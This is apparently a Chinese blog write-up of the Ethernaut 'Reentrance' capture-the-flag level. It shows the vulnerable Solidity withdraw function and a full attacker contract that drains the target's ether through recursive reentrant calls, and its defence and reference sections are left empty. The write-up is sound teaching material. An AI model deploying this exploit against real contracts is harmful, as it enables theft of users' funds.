Cover photo

智能合约黑客攻击 Ethernaut: 10. Reentrance

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏,每个关卡都有需要被 Hack 的智能合约。

教程

题目

Reentrance 合约中的ether全部转出来。

Hack思路

这是一个类似于钱包的合约,可以向里面存取 ether,转ether时会有一个强制的回调hook机制,而且这个钱包的扣余额时在转账之前的,所以可以进入无限 hook 回调导致ether被偷走。

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      // 提现,会触发 receive 方法
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      // 扣除余额
      balances[msg.sender] -= _amount;
    }
  }

攻击合约代码

interface IReentrance {
    function donate(address _to) external payable;
    function withdraw(uint256 _amount) external;
}

contract ReentranceHack {
    IReentrance public exploitInst;
    // 第一次的余额,后面每次循环提前金额都不能超过它
    uint256 private initialDeposit;

    constructor(address _target) {
        exploitInst = IReentrance(_target);
    }

    function attack() external payable {
        require(msg.value >= 0.001 ether, "send some more ether");
        initialDeposit = msg.value;
        exploitInst.donate{ value: initialDeposit }(address(this));
        _withdraw();
    }

    receive() external payable {
        _withdraw();
    }

    function _withdraw() private {
        // 最开始存的钱,转账不能超过这个数,重入会被拦截
        uint256 toWithdraw = initialDeposit;
        // Reentrance 余额小于 每次重入转账的金额,调整金额吧把剩下的转出来
        uint256 challengeBalance = address(exploitInst).balance;
        toWithdraw = toWithdraw > challengeBalance ? challengeBalance : toWithdraw;
        if (toWithdraw > 0) {
            exploitInst.withdraw(toWithdraw);
        }
    }
}

Hack案例

非常之多,后面可能出一个系列来讲以前智能合约写的有多烂。

防范思路

….

参考资料

….